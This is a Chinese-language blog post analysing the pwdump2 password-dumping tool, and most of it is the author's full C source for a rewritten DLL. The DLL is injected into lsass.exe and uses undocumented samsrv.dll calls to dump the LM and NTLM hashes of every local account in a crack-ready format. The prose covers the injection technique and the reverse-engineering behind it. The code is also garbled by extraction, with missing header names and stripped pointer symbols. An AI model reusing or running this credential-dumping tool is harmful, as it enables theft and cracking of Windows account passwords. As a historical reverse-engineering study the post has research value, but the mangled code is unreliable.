Skip to content

☆ pwdump2/samdump.c浅析与改进

(txt版全文https://scz.617.cn/windows/200401041902.txt)

samdump.c调用LsaQueryInformationPolicy()获取主机SID,未调用LsaFreeMemory() 释放内存,造成lsass.exe进程空间的内存泄漏。此外,需要引入advapi32.lib。

samdump.c中有一个RegCloseKey()操作,可能最初直接读取注册表,后因LM Hash、 NTLM Hash加密存放,才改用samsrv.dll引出的未公开(文档化)函数。

我重写了pwdump2,主要是配合前段时间samsrv.dll的逆向工程,将一些猜测性结论 加以验证,或推翻或肯定。参getlmhashdll.c源代码,将整个流程减化、抽象一下:


SamIConnect SamrEnumerateDomainsInSamServer SamrLookupDomainInSamServer SamrOpenDomain SamrEnumerateUsersInDomain SamrOpenUser SamrQueryInformationUser SamIFree_SAMPR_USER_INFO_BUFFER SamrCloseHandle SamIFree_SAMPR_ENUMERATION_BUFFER SamrCloseHandle LocalFree SamIFree_SAMPR_ENUMERATION_BUFFER SamrCloseHandle


SamrEnumerateDomainsInSamServer、SamrLookupDomainInSamServer是Todd Sabin未 曾用到的samsrv.dll引出函数,用以代替LsaQueryInformationPolicy,其实我演示 的这个方法才是正经的SAM操作方法。我的意思是,要用未文档化的函数,就都用好 了。

使用LsaQueryInformationPolicy的话,就不必使用SamrEnumerateUsersInDomain, 理念换成"尽量使用文档化的函数",用NetUserEnum枚举帐号。

相比samdump.c,没有其它改进,Todd Sabin已经完成了必要的Hacking。


/ * (C) Todd Sabin 1997,1998,2000 All rights reserved. * ----------------------------------------------------------------------- * Rewrite : scz scz@nsfocus.com * : http://www.nsfocus.com * Version : 1.10 * Compile : For x86/EWindows XP SP1 & VC 7 * : cl getlmhashdll.c /nologo /Os /G6 /W3 /D "WIN32" /D "NDEBUG" /LD /link /RELEASE * : * Create : 2003-12-29 21:42 * Modify : 2004-01-04 17:26 * ----------------------------------------------------------------------- * The only thing they can't take from us are our minds. !H /

/********** * * * Head File * * * **********/

/ * #define _WIN32_WINNT 0x0501 /

include

include

include

/ * for _vsnprintf() /

include

include

/********** * * * Macro * * * **********/

pragma comment( linker, "/INCREMENTAL:NO" )

pragma comment( lib, "kernel32.lib" )

define VERSION "1.10"

/ * you'll find a list of NTSTATUS status codes in the DDK header * ntstatus.h (\WINDDK\2600.1106\inc\ddk\wxp) / typedef LONG NTSTATUS;

define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)

define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)

define SamUserOWFPasswordInformation 0x12

pragma pack( push, 1 )

/ * ntdef.h / typedef struct _UNICODE_STRING { USHORT Length; // +0x000 USHORT MaximumLength; // +0x002 PWSTR Buffer; // +0x004 // +0x008 } UNICODE_STRING, *PUNICODE_STRING;

/ * !!! * from Luke Kenneth Casson Leighton / typedef struct _SAM_DOMAIN_USER { DWORD userrid; // +0x000 UNICODE_STRING username; // +0x004,这是一个结构,而非结构指针 // +0x00c,该结构总共占12字节 } SAM_DOMAIN_USER, *PSAM_DOMAIN_USER;

/ * !!! * (C) Todd Sabin 1997,1998,2000 All rights reserved. / typedef struct _SAM_DOMAIN_USER_ENUMERATION { DWORD DomainUserCount; // +0x000,数组元素个数 PSAM_DOMAIN_USER DomainUser; // +0x004,动态分配空间的结构数组 // +0x008,后面还有没有成员,目前看不出来 / * ... ... / } SAM_DOMAIN_USER_ENUMERATION, PSAM_DOMAIN_USER_ENUMERATION, *PPSAM_DOMAIN_USER_ENUMERATION;

/ * 自己Hacking得到的结构,不可靠 / typedef struct _SAM_USER_OWF_PASSWORD_INFORMATION // Information Class 0x12 { unsigned char NTLMHash[16]; // +0x000,16字节的NTLM Hash unsigned char LMHash[16]; // +0x010,16字节的LM Hash unsigned short int Unknown_020; // +0x020,参samsrv!SampGetCurrentAdminPassword() unsigned char Unknown_022; // +0x022 // +0x023 } SAM_USER_OWF_PASSWORD_INFORMATION, *PSAM_USER_OWF_PASSWORD_INFORMATION;

typedef struct _SAM_SERVER_DOMAIN { DWORD unused; // +0x000,未使用,总为0(猜测) UNICODE_STRING domainname; // +0x004,这是一个结构,而非结构指针 // +0x00c,该结构总共占12字节 } SAM_SERVER_DOMAIN, *PSAM_SERVER_DOMAIN;

typedef struct _SAM_DOMAIN_ENUMERATION { DWORD ServerDomainCount; // +0x000,数组元素个数 PSAM_SERVER_DOMAIN ServerDomain; // +0x004,动态分配空间的结构数组 // +0x008,后面还有没有成员,目前看不出来 / * ... ... / } SAM_SERVER_DOMAIN_ENUMERATION, PSAM_SERVER_DOMAIN_ENUMERATION, *PPSAM_SERVER_DOMAIN_ENUMERATION;

pragma pack( pop )

/ * 这些Undocumented Win32 API由samsrv.dll引出(export) / typedef NTSTATUS ( WINAPI *SAMICONNECT ) ( DWORD Unknown_0, // 意义不明,调用时一般为0 PHANDLE pSamHandle, // [out]参数,是指向HANDLE的指针,不是HANDLE DWORD AccessMask, // Access Mask DWORD Unknown_1 // 意义不明,调用时一般为1 );

typedef NTSTATUS ( WINAPI *SAMROPENDOMAIN ) ( HANDLE SamHandle, // 源自sam connect操作 DWORD AccessMask, // Access Mask PSID DomainSid, // 这个域不是通常所说NT域 PHANDLE pDomainHandle // [out]参数,是指向HANDLE的指针,不是HANDLE );

typedef NTSTATUS ( WINAPI *SAMROPENUSER ) ( HANDLE DomainHandle, // 源自sam open domain操作 DWORD AccessMask, // Access Mask DWORD Rid, // 比如500,0x1F4,Administrator PHANDLE pUserHandle // [out]参数,是指向HANDLE的指针,不是HANDLE );

typedef NTSTATUS ( WINAPI *SAMRQUERYINFORMATIONUSER ) ( HANDLE UserHandle, // 源自sam open user操作 DWORD InfoClass, // 其实是SAM_USER_INFORMATION_CLASS枚举型,为 // 了减少编译难度,换成DWORD型 PVOID UserInfo // 随InfoClass不同,对应不同的结构 );

typedef VOID ( WINAPI *SAMIFREE_SAMPR_USER_INFO_BUFFER ) ( PVOID UserInfo, // 随InfoClass不同,对应不同的结构 DWORD InfoClass // 其实是SAM_USER_INFORMATION_CLASS枚举型,为 // 了减少编译难度,换成DWORD型 );

typedef NTSTATUS ( WINAPI *SAMRCLOSEHANDLE ) ( PHANDLE pHandle // 可以关闭各种sam操作相关的句柄 // 是指向HANDLE的指针,不是HANDLE );

typedef NTSTATUS ( WINAPI *SAMRENUMERATEUSERSINDOMAIN ) ( HANDLE DomainHandle, // 源自sam open domain操作 PHANDLE pEnumerationHandle, // [in/out]参数,Resume Handle // 是指向HANDLE的指针,不是HANDLE DWORD AccessMask, // filter,Access Mask // 如欲枚举所有帐号,指定0 PPSAM_DOMAIN_USER_ENUMERATION pDomainUserEnumeration, // [out]参数 DWORD PrefMaxSize, // 意义未明,似乎对应Pref MaxSize // 可以指定成0x0000FFFF PDWORD pUserCount // [out]参数,枚举出的帐号数目 );

typedef VOID ( WINAPI *SAMIFREE_SAMPR_ENUMERATION_BUFFER ) ( PVOID EnumerationBuf // 其实是PSAM_ENUMERATION_BUFFER // 调用时可能传PSAM_DOMAIN_USER_ENUMERATION // 或者传PSAM_SERVER_DOMAIN_ENUMERATION );

typedef NTSTATUS ( WINAPI *SAMRENUMERATEDOMAINSINSAMSERVER ) ( HANDLE SamHandle, // 源自sam connect操作 PHANDLE pEnumerationHandle, // [in/out]参数,Resume Handle // 是指向HANDLE的指针,不是HANDLE PPSAM_SERVER_DOMAIN_ENUMERATION pServerDomainEnumeration, // [out]参数 DWORD PrefMaxSize, // 意义未明,似乎对应Pref MaxSize // 应该也可以指定成0x0000FFFF PDWORD pDomainCount // [out]参数,枚举出的Domain数目 );

typedef NTSTATUS ( WINAPI SAMRLOOKUPDOMAININSAMSERVER ) ( HANDLE SamHandle, // 源自sam connect操作 PUNICODE_STRING DomainName, // PSID pDomainSid // [out]参数,用LocalFree()释放 );

/ * 这些Native API由ntdll.dll引出(export) / typedef ULONG ( __stdcall *RTLNTSTATUSTODOSERROR ) ( IN NTSTATUS status );

/********** * * * Function Prototype * * * **********/

static void getlmhash ( void ); static BOOL LocateNtdllEntry ( void ); static BOOL LocateSamsrvEntry ( void ); static void PrintHash ( unsigned char hash ); static void PrintUnicodeString ( PUNICODE_STRING us ); static void PrintWin32ErrorCUI ( char message, DWORD dwMessageId ); static void PrintZwErrorCUI ( char message, NTSTATUS status ); static int PrivatePrintf ( HANDLE handle, char buf, size_t count, const char *format, ... );

__declspec(dllexport) DWORD __cdecl getlmhashdll_main ( char *pipename );

/********** * * * Static Global Var * * * **********/

static HANDLE outfile = INVALID_HANDLE_VALUE; static char *outbuf = NULL; static size_t outbuflen = 0; static HMODULE samsrv = NULL;

/ * 由samsrv.dll引出的Undocumented Win32 API函数指针 / static SAMICONNECT SamIConnect = NULL; static SAMROPENDOMAIN SamrOpenDomain = NULL; static SAMROPENUSER SamrOpenUser = NULL; static SAMRQUERYINFORMATIONUSER SamrQueryInformationUser = NULL; static SAMIFREE_SAMPR_USER_INFO_BUFFER SamIFree_SAMPR_USER_INFO_BUFFER = NULL; static SAMRCLOSEHANDLE SamrCloseHandle = NULL; static SAMRENUMERATEUSERSINDOMAIN SamrEnumerateUsersInDomain = NULL; static SAMIFREE_SAMPR_ENUMERATION_BUFFER SamIFree_SAMPR_ENUMERATION_BUFFER = NULL; static SAMRENUMERATEDOMAINSINSAMSERVER SamrEnumerateDomainsInSamServer = NULL; static SAMRLOOKUPDOMAININSAMSERVER SamrLookupDomainInSamServer = NULL;

/ * 由ntdll.dll引出的Native API函数指针 / static RTLNTSTATUSTODOSERROR RtlNtStatusToDosError = NULL;

/************/

static void getlmhash ( void ) { NTSTATUS status; HANDLE SamHandle = NULL, EnumerationHandle = NULL, DomainHandle = NULL, UserHandle = NULL; PSAM_SERVER_DOMAIN_ENUMERATION ServerDomainEnumeration = NULL; DWORD DomainCount = 0, UserCount = 0, Count = 0; PSID DomainSid = NULL; PSAM_DOMAIN_USER_ENUMERATION DomainUserEnumeration = NULL; BOOL nomoredata = FALSE; PSAM_USER_OWF_PASSWORD_INFORMATION UserOWFPasswordInfo = NULL;

status              = SamIConnect
(
    0,              // 意义不明,调用时一般为0
    &SamHandle,     // [out]参数,是指向HANDLE的指针,不是HANDLE
    0x10000030,     // Access Mask
                    // Generic read
                    // Open domain
                    // Enum domains
    1               // 意义不明,调用时一般为1
);
if ( !NT_SUCCESS( status ) )
{
    PrintZwErrorCUI
    (
        "SamIConnect() failed",
        status
    );
    goto getlmhash_exit;
}
status              = SamrEnumerateDomainsInSamServer
(
    SamHandle,                  // 源自sam connect操作
    &EnumerationHandle,         // [in/out]参数,Resume Handle
                                // 是指向HANDLE的指针,不是HANDLE
    &ServerDomainEnumeration,   // [out]参数
    0x0000FFFF,                 // 意义未明,似乎对应Pref MaxSize
                                // 应该也可以指定成0x0000FFFF
    &DomainCount                // [out]参数,枚举出的Domain数目
);
if ( !NT_SUCCESS( status ) )
{
    PrintZwErrorCUI
    (
        "SamrEnumerateDomainsInSamServer() failed",
        status
    );
    goto getlmhash_exit;
}
if ( 2 != DomainCount )
{
    goto getlmhash_exit;
}
status              = SamrLookupDomainInSamServer
(
    SamHandle,                                              // 源自sam connect操作
    &ServerDomainEnumeration->ServerDomain[0].domainname,   // PUNICODE_STRING
    &DomainSid                                              // [out]参数,用LocalFree()释放
);
if ( !NT_SUCCESS( status ) )
{
    PrintZwErrorCUI
    (
        "SamrLookupDomainInSamServer() failed",
        status
    );
    goto getlmhash_exit;
}
status              = SamrOpenDomain
(
    SamHandle,      // 源自sam connect操作
    0x10000000,     // Access Mask
                    // SampGetCurrentAdminPassword()中用的是这个值
    DomainSid,      // 这个域不是通常所说NT域
    &DomainHandle   // [out]参数,是指向HANDLE的指针,不是HANDLE
);
if ( !NT_SUCCESS( status ) )
{
    PrintZwErrorCUI
    (
        "SamrOpenDomain() failed",
        status
    );
    goto getlmhash_exit;
}
/*
 * TMD,前面SamrEnumerateDomainsInSamServer()用过一次,真是个相当隐蔽
 * 的错误。为了枚举所有帐号,调用SamrEnumerateUsersInDomain()之前一定
 * 要将该[in/out]参数清零。
 */
EnumerationHandle   = NULL;
do
{
    status                  = SamrEnumerateUsersInDomain
    (
        DomainHandle,               // Context Handle
        &EnumerationHandle,         // [in/out]参数,Resume Handle
                                    // 是指向HANDLE的指针,不是HANDLE
        0,                          // filter,Access Mask
                                    // 如欲枚举所有帐号,指定0
        &DomainUserEnumeration,     // [out]参数
        0x0000FFFF,                 // 意义未明,似乎对应Pref MaxSize
        &UserCount                  // [out]参数,枚举出的帐号数目
    );
    if ( !NT_SUCCESS( status ) )
    {
        PrintZwErrorCUI
        (
            "SamrEnumerateUsersInDomain() failed",
            status
        );
        goto getlmhash_exit;
    }
    /*
     * from ntstatus.h(\WINDDK\2600.1106\inc\ddk\wxp\)
     *
     * Returned by enumeration APIs to indicate more information is
     * available to successive calls.
     *
     * #define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
     */
    if ( STATUS_MORE_ENTRIES != status )
    {
        nomoredata = TRUE;
    }
    Count                   = 0;
    while ( Count < UserCount )
    {
        status              = SamrOpenUser
        (
            DomainHandle,                                       // 源自sam open domain操作
            0x10000000,                                         // Access Mask
            DomainUserEnumeration->DomainUser[Count].userrid,   // RID
            &UserHandle                                         // [out]参数,是指向HANDLE的指针,不是HANDLE
        );
        if ( !NT_SUCCESS( status ) )
        {
            PrintZwErrorCUI
            (
                "SamrOpenUser() failed",
                status
            );
            goto getlmhash_exit;
        }
        status              = SamrQueryInformationUser
        (
            UserHandle,                     // 源自sam open user操作
            SamUserOWFPasswordInformation,  // InformationClass,0x12,其实是
                                            // SAM_USER_INFORMATION_CLASS枚举型,
                                            // 为了减少编译难度,换成DWORD型
            &UserOWFPasswordInfo            // 随InformationClass不同,对应不同的结构
        );
        if ( !NT_SUCCESS( status ) )
        {
            PrintZwErrorCUI
            (
                "SamrQueryInformationUser() failed",
                status
            );
            goto getlmhash_exit;
        }
        PrintUnicodeString( &DomainUserEnumeration->DomainUser[Count].username );
        PrivatePrintf
        (
            outfile,
            outbuf,
            outbuflen,
            ":%u:",
            DomainUserEnumeration->DomainUser[Count].userrid
        );
        PrintHash( UserOWFPasswordInfo->LMHash );
        PrivatePrintf
        (
            outfile,
            outbuf,
            outbuflen,
            ":"
        );
        PrintHash( UserOWFPasswordInfo->NTLMHash );
        PrivatePrintf
        (
            outfile,
            outbuf,
            outbuflen,
            ":::\n"
        );
        SamIFree_SAMPR_USER_INFO_BUFFER
        (
            UserOWFPasswordInfo,
            SamUserOWFPasswordInformation   // InformationClass,0x12
        );
        UserOWFPasswordInfo = NULL;
        status              = SamrCloseHandle
        (
            &UserHandle
        );
        UserHandle          = NULL;
        if ( !NT_SUCCESS( status ) )
        {
            PrintZwErrorCUI
            (
                "SamrCloseHandle() failed for UserHandle",
                status
            );
            goto getlmhash_exit;
        }
        Count++;
    }  /* end of while */
    SamIFree_SAMPR_ENUMERATION_BUFFER
    (
        DomainUserEnumeration
    );
    DomainUserEnumeration   = NULL;
}
while ( FALSE == nomoredata );

getlmhash_exit:

if ( NULL != UserOWFPasswordInfo )
{
    SamIFree_SAMPR_USER_INFO_BUFFER
    (
        UserOWFPasswordInfo,
        SamUserOWFPasswordInformation   // InformationClass,0x12
    );
    UserOWFPasswordInfo = NULL;
}
if ( NULL != UserHandle )
{
    SamrCloseHandle
    (
        &UserHandle
    );
    UserHandle = NULL;
}
if ( NULL != DomainUserEnumeration )
{
    SamIFree_SAMPR_ENUMERATION_BUFFER
    (
        DomainUserEnumeration
    );
    DomainUserEnumeration = NULL;
}
if ( NULL != DomainHandle )
{
    SamrCloseHandle
    (
        &DomainHandle
    );
    DomainHandle = NULL;
}
if ( NULL != DomainSid )
{
    LocalFree( DomainSid );
    DomainSid = NULL;
}
if ( NULL != ServerDomainEnumeration )
{
    SamIFree_SAMPR_ENUMERATION_BUFFER
    (
        ServerDomainEnumeration
    );
    ServerDomainEnumeration = NULL;
}
if ( NULL != SamHandle )
{
    SamrCloseHandle
    (
        &SamHandle
    );
    SamHandle = NULL;
}
return;

} / end of getlmhash /

/ * ntdll.dll正常引出了如下Native API,我们不想让ntdll.lib介入,这会增加编 * 译难度,于是换用GetProcAddress()获取这些函数地址。 / static BOOL LocateNtdllEntry ( void ) { BOOL ret = FALSE; char ntdllname[] = "ntdll"; HMODULE ntdll = NULL;

/*
 * returns a handle to a mapped module without incrementing its
 * reference count
 */
ntdll                   = GetModuleHandle( ntdllname );
if ( NULL == ntdll )
{
    PrintWin32ErrorCUI( "GetModuleHandle() failed", GetLastError() );
    return( ret );
}
RtlNtStatusToDosError   = ( RTLNTSTATUSTODOSERROR )GetProcAddress
(
    ntdll,
    "RtlNtStatusToDosError"
);
if ( !RtlNtStatusToDosError )
{
    goto LocateNtdllEntry_exit;
}
ret                     = TRUE;

LocateNtdllEntry_exit:

if ( FALSE == ret )
{
    PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
}
if ( NULL != ntdll )
{
    ntdll = NULL;
}
return( ret );

} / end of LocateNtdllEntry /

/ * samsrv.dll正常引出了如下Undocumented Win32 API,由于没有samsrv.lib存在, * 被迫利用GetProcAddress()获取这些函数地址。 / static BOOL LocateSamsrvEntry ( void ) { BOOL ret = FALSE; char samsrvname[] = "samsrv";

samsrv                              = LoadLibrary( samsrvname );
if ( NULL == samsrv )
{
    PrintWin32ErrorCUI( "LoadLibrary() failed", GetLastError() );
    return( ret );
}
SamIConnect                         = ( SAMICONNECT                       )GetProcAddress
(
    samsrv,
    "SamIConnect"
);
if ( !SamIConnect )
{
    goto LocateSamsrvEntry_exit;
}
SamrOpenDomain                      = ( SAMROPENDOMAIN                    )GetProcAddress
(
    samsrv,
    "SamrOpenDomain"
);
if ( !SamrOpenDomain )
{
    goto LocateSamsrvEntry_exit;
}
SamrOpenUser                        = ( SAMROPENUSER                      )GetProcAddress
(
    samsrv,
    "SamrOpenUser"
);
if ( !SamrOpenUser )
{
    goto LocateSamsrvEntry_exit;
}
SamrQueryInformationUser            = ( SAMRQUERYINFORMATIONUSER          )GetProcAddress
(
    samsrv,
    "SamrQueryInformationUser"
);
if ( !SamrQueryInformationUser )
{
    goto LocateSamsrvEntry_exit;
}
SamIFree_SAMPR_USER_INFO_BUFFER     = ( SAMIFREE_SAMPR_USER_INFO_BUFFER   )GetProcAddress
(
    samsrv,
    "SamIFree_SAMPR_USER_INFO_BUFFER"
);
if ( !SamIFree_SAMPR_USER_INFO_BUFFER )
{
    goto LocateSamsrvEntry_exit;
}
SamrCloseHandle                     = ( SAMRCLOSEHANDLE                   )GetProcAddress
(
    samsrv,
    "SamrCloseHandle"
);
if ( !SamrCloseHandle )
{
    goto LocateSamsrvEntry_exit;
}
SamrEnumerateUsersInDomain          = ( SAMRENUMERATEUSERSINDOMAIN        )GetProcAddress
(
    samsrv,
    "SamrEnumerateUsersInDomain"
);
if ( !SamrEnumerateUsersInDomain )
{
    goto LocateSamsrvEntry_exit;
}
SamIFree_SAMPR_ENUMERATION_BUFFER   = ( SAMIFREE_SAMPR_ENUMERATION_BUFFER )GetProcAddress
(
    samsrv,
    "SamIFree_SAMPR_ENUMERATION_BUFFER"
);
if ( !SamIFree_SAMPR_ENUMERATION_BUFFER )
{
    goto LocateSamsrvEntry_exit;
}
SamrEnumerateDomainsInSamServer     = ( SAMRENUMERATEDOMAINSINSAMSERVER   )GetProcAddress
(
    samsrv,
    "SamrEnumerateDomainsInSamServer"
);
if ( !SamrEnumerateDomainsInSamServer )
{
    goto LocateSamsrvEntry_exit;
}
SamrLookupDomainInSamServer         = ( SAMRLOOKUPDOMAININSAMSERVER       )GetProcAddress
(
    samsrv,
    "SamrLookupDomainInSamServer"
);
if ( !SamrLookupDomainInSamServer )
{
    goto LocateSamsrvEntry_exit;
}
ret                                 = TRUE;

LocateSamsrvEntry_exit:

if ( FALSE == ret )
{
    PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
}
/*
 * 后面还要用这些函数指针,这里不得释放samsrv.dll
 */
return( ret );

} / end of LocateSamsrvEntry /

static void PrintHash ( unsigned char hash ) { unsigned int i; char buf[33]; char p = buf;

for ( i = 0; i < 16; i++ )
{
    sprintf( p, "%02X", hash[i] );
    p += 2;
}
PrivatePrintf
(
    outfile,
    outbuf,
    outbuflen,
    "%s",
    buf
);
return;

} / end of PrintHash /

static void PrintUnicodeString ( PUNICODE_STRING us ) { int i = 0; unsigned int len = 0; unsigned char ansibuf = NULL, ansistr = NULL;

if ( NULL == us )
{
    goto PrintUnicodeString_exit;
}
/*
 * 将Unicode串转换成DBCS串再显示,否则中文串显示有问题
 */
len     = us->Length + 1;
ansibuf = ( unsigned char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, len );
if ( NULL == ansibuf )
{
    ansistr = "No memory for ansibuf";
}
else
{
    i = WideCharToMultiByte
        (
            CP_ACP,
            0,
            us->Buffer,
            ( int )( us->Length / 2 ),
            ansibuf,
            len,
            NULL,
            NULL
        );
    if ( 0 == i )
    {
        ansistr = "WideCharToMultiByte() failed";
    }
    else
    {
        ansistr = ansibuf;
    }
}
PrivatePrintf( outfile, outbuf, outbuflen, "%s", ansibuf );

PrintUnicodeString_exit:

if ( NULL != ansibuf )
{
    HeapFree( GetProcessHeap(), 0, ansibuf );
    ansibuf = NULL;
}
return;

} / end of PrintUnicodeString /

static void PrintWin32ErrorCUI ( char message, DWORD dwMessageId ) { char errMsg;

FormatMessage
(
    FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
    NULL,
    dwMessageId,
    MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
    ( LPTSTR )&errMsg,
    0,
    NULL
);
PrivatePrintf
(
    outfile,
    outbuf,
    outbuflen,
    "%s: %s",
    message,
    errMsg
);
LocalFree
(
    errMsg
);
return;

} / end of PrintWin32ErrorCUI /

static void PrintZwErrorCUI ( char message, NTSTATUS status ) { char errMsg;

FormatMessage
(
    FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
    NULL,
    RtlNtStatusToDosError( status ),
    MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
    ( LPTSTR )&errMsg,
    0,
    NULL
);
PrivatePrintf
(
    outfile,
    outbuf,
    outbuflen,
    "%s: %s",
    message,
    errMsg
);
LocalFree
(
    errMsg
);
return;

} / end of PrintZwErrorCUI /

static int PrivatePrintf ( HANDLE handle, char buf, size_t count, const char format, ... ) { va_list arg; int num; DWORD NumberOfBytes;

if ( INVALID_HANDLE_VALUE == handle || NULL == handle || NULL == buf || 0 == count || NULL == format )
{
    return( -1 );
}
/*
 * 将来运行在lsass.exe进程上下文中,必须动用SEH机制加以保护,否则一旦
 * 出现内存访问违例,将导致整个操作系统崩溃!
 */
__try
{
    va_start( arg, format );
    num = _vsnprintf
          (
              buf,
              count - 1,
              format,
              arg
          );
    if ( num >= 0 )
    {
        WriteFile
        (
            handle,
            buf,
            num,
            &NumberOfBytes,
            NULL
        );
    }
    va_end( arg );
}
__except
(
    EXCEPTION_EXECUTE_HANDLER
)
{
    num = -1;
}
return( num );

} / end of PrivatePrintf /

DWORD __cdecl getlmhashdll_main ( char *pipename ) { DWORD ret = EXIT_FAILURE;

outbuflen   = 1024;
outbuf      = ( char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, outbuflen );
if ( NULL == outbuf )
{
    goto getlmhashdll_main_exit;
}
if ( FALSE == WaitNamedPipe( pipename, NMPWAIT_USE_DEFAULT_WAIT ) )
{
    goto getlmhashdll_main_exit;
}
outfile     = CreateFile
              (
                  pipename,
                  GENERIC_READ | GENERIC_WRITE,
                  0,
                  NULL,
                  OPEN_EXISTING,
                  0,
                  NULL
              );
if ( INVALID_HANDLE_VALUE == outfile )
{
    goto getlmhashdll_main_exit;
}
if ( FALSE == LocateNtdllEntry() )
{
    goto getlmhashdll_main_exit;
}
if ( FALSE == LocateSamsrvEntry() )
{
    goto getlmhashdll_main_exit;
}
/*
 * 利用samsrv.dll引出的Undocumented Win32 API获取本机帐号的LM Hash、
 * NTLM Hash
 */
getlmhash();
ret         = EXIT_SUCCESS;

getlmhashdll_main_exit:

if ( NULL != samsrv )
{
    FreeLibrary( samsrv );
    samsrv  = NULL;
}
if ( INVALID_HANDLE_VALUE != outfile )
{
    CloseHandle( outfile );
    outfile = INVALID_HANDLE_VALUE;
}
if ( NULL != outbuf )
{
    HeapFree( GetProcessHeap(), 0, outbuf );
    outbuf  = NULL;
}
outbuflen   = 0;
return( ret );

} / end of getlmhashdll_main /

BOOL WINAPI DllMain ( HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad ) { DisableThreadLibraryCalls( hinstDll ); return( TRUE ); } / end of DllMain /

/************/


1) pwdump2在做什么。

假设当前用户是Administrator或等效用户,pwdump2利用远程线程注入向lsass.exe 进程空间注入一段代码,加载了samdump.c生成的动态链接库,然后GetProcAddress 获取samdump.dll的一个引出函数并调用之。该引出函数获取当前系统中可枚举帐号 的LM Hash、NTLM Hash,生成LC4格式(.lc)文件,可用LC4或等效工具进行暴力破解。 关于LM Hash脆弱性,参看<>。

https://scz.617.cn/network/200210141957.txt

第一次用加载DLL的办法完成远程线程实质性工作,以前是按照C语言式shellcode的 套路。加载DLL的办法要省不少细节上的纠缠,也趁此多做一点技术积累。

2) 为什么pwdump2这样做就可以获取LM Hash、NTLM Hash。

这个问题,严格意义上的讲解太复杂,又得扯一堆概念进来,参看[2]。简单地讲, 在lsass.exe进程上下文中调用samsrv.dll的未文档化引出函数,这些函数会返回期 望中的LM Hash、NTLM Hash。

开始我低估了SAM安全限制。以为以SYSTEM权限访问SAM即可获取LM Hash,居然失败。 最后确认非要从lsass.exe进程上下文中访问SAM,否则得到如下错误信息:

SamIConnect() failed: 安全帐户管理器(SAM)或本地安全颁发机构(LSA)服务器处于运行安全操作的错误状态。

3) 既然这种技术是未文档化的,那帮人又是如何得到这种技术的,他们Hacking的过 程、思想的发展可能是怎样的。

最开始我在写扫描器远程漏洞扫描插件,用NetUserGetInfo()查询远程用户信息,在 Ethereal解码过程中意识到与pwdump2的联系。接下来有了逆向samsrv.dll的想法。 逆完SampUpdateEncryption、SampGetCurrentAdminPassword,就得出了前面那个抽 象流程。再与samdump.c一对照,思路很清晰。虽然我不清楚bindview的人是怎么接 近此处的,但按我这个搞法,也可接近此处,就不无谓纠缠了。

4) 在此基础上我们还能继续Hacking出其它有用的东西吗。

目前我没有更多时间Hacking这个方向,但至少成功还原了一批函数原型、数据结构。 有些东西可能目前阶段没有直接用途,但日后肯定会用到的。

枚举值SamUserOWFPasswordInformation(0x12)只能用于本机操作,如在网络操作中 指定0x12级查询,会报告无效级别,显然这出于安全考虑。我在一个底层SMB测试程 序中手工构造SamrQueryInformationUser(36)报文,试图指定level 0x12,查询失败。

5) 下次让你独立确定一个课题并研究之,你会在上述研究中受到什么样的启发,比 如选题方向、研究方法、工具使用等等。

由此想到一种研究Windows未文档化函数的方法。很多SMB网络函数第一形参指定目标 系统,当该形参为NULL时目标系统即本机。如果用Ethereal抓取了网络通信报文,根 据DCE RPC的marshalling/unmarshalling知识,有可能还原最初的数据结构,而这种 数据结构同时适用于本机、远程操作。再结合适当的逆向工程,进展会更大。当然, 有个重要前提,就是Ethereal已经进行了正确的Network Hacking,否则会导致错误 结论。你还必须能够在Ethereal所解析出的远程过程、Windows RPC Server以及MSDN 中的Win32 API这三者之间找到必然联系。

有个较深的感受,有些东西之间看似没有联系,实际却殊途同归。很早以前就想看看 pwdump2的实现机理,一直觉得它是横空出世的,没有来历,很茫然。搞不清为什么 要GetProcAddress获取那些引出函数地址。没想到在网络通信解码过程中豁然开朗。 看样子以后正门搞不定了,就扔到一边,说不定哪天发现到处是侧门。

☆ 参考资源

[ 2] Windows NT Security, Part 1 http://www.winntmag.com/Articles/Print.cfm?ArticleID=3143

 Windows NT Security, Part 2
 http://www.winntmag.com/Articles/Print.cfm?ArticleID=3492